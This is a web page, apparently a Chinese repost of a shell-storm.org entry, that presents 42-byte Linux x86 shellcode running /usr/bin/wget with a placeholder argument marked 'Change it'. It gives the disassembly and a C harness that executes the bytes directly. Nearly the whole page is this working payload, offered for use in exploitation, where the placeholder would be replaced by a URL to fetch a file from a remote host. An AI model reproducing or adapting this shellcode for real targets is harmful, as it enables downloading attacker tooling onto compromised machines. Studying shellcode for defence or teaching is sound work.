|
linux/x86 execve("/usr/bin/wget", "aaaa"); - 42 bytes
|
|
来源：http://www.shell-storm.org 作者：Salwan 发布时间：2010-05-21
|
|
=====================================================
linux/x86 execve("/usr/bin/wget", "aaaa"); - 42 bytes
=====================================================
/*
Title: Linux x86 execve("/usr/bin/wget", "aaaa"); - 42 bytes
Author: Jonathan Salwan <submit AT shell-storm.org>
Web: http://www.shell-storm.org
Twitter: http://twitter.com/shell_storm
!Database of Shellcodes http://www.shell-storm.org/shellcode/
08048054 <.text>:
8048054: 6a 0b push $0xb
8048056: 58 pop %eax
8048057: 99 cltd
8048058: 52 push %edx
8048059: 68 61 61 61 61 push $0x61616161
804805e: 89 e1 mov %esp,%ecx
8048060: 52 push %edx
8048061: 6a 74 push $0x74
8048063: 68 2f 77 67 65 push $0x6567772f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 68 2f 75 73 72 push $0x7273752f
8048072: 89 e3 mov %esp,%ebx
8048074: 52 push %edx
8048075: 51 push %ecx
8048076: 53 push %ebx
8048077: 89 e1 mov %esp,%ecx
8048079: cd 80 int $0x80
804807b: 40 inc %eax
804807c: cd 80 int $0x80
*/
#include <stdio.h>
char sc[] = "\x6a\x0b\x58\x99\x52"
"\x68\x61\x61\x61\x61" // Change it
"\x89\xe1\x52\x6a\x74"
"\x68\x2f\x77\x67\x65"
"\x68\x2f\x62\x69\x6e"
"\x68\x2f\x75\x73\x72"
"\x89\xe3\x52\x51\x53"
"\x89\xe1\xcd\x80\x40"
"\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(sc));
(*(void(*)()) sc)();
return 0;
}
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
|
|
 |
|
推荐广告 |
|
|
|
|
|
